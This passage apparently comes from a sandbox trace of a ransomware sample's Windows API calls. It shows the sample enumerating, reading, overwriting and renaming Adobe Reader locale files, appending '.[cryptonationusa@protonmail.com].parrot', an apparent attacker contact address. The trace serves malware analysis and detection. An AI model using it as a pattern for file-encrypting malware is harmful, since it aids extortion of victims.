lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.421] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0257.427] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.427] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.428] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.428] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0257.428] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0257.435] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.435] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.442] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.442] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12c00, lpOverlapped=0x0) returned 1 [0257.444] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0257.454] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.454] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.456] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.456] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13c00, lpOverlapped=0x0) returned 1 [0257.458] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.460] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0257.469] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.469] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.470] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.471] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0257.472] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.472] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\pddom.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\pddom.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.478] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.478] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.480] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.480] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x82000, lpOverlapped=0x0) returned 1 [0257.498] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.517] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\PPKLite.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ppklite.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0257.527] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0257.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.558] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0257.562] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.562] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0257.564] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x151b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0257.565] CloseHandle (hObject=0x1b0) returned 1 [0257.565] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.624] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0257.663] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.663] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.664] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.665] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0257.666] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.666] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0257.672] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.672] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.731] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.731] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0257.733] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.733] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0257.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.742] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a00, lpOverlapped=0x0) returned 1 [0257.743] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.744] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0257.750] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.750] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6000, lpOverlapped=0x0) returned 1 [0257.752] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.753] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339888 | out: hHeap=0x5b0000) returned 1 [0257.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0257.759] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.760] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0257.761] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0257.762] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.763] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33212f0 | out: hHeap=0x5b0000) returned 1 [0257.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0257.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0257.769] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0257.785] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0257.785] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.785] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0257.785] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0257.785] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0257.786] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0257.786] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0257.788] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.788] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9598, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9598, lpOverlapped=0x0) returned 1 [0257.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.790] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0257.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0257.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: 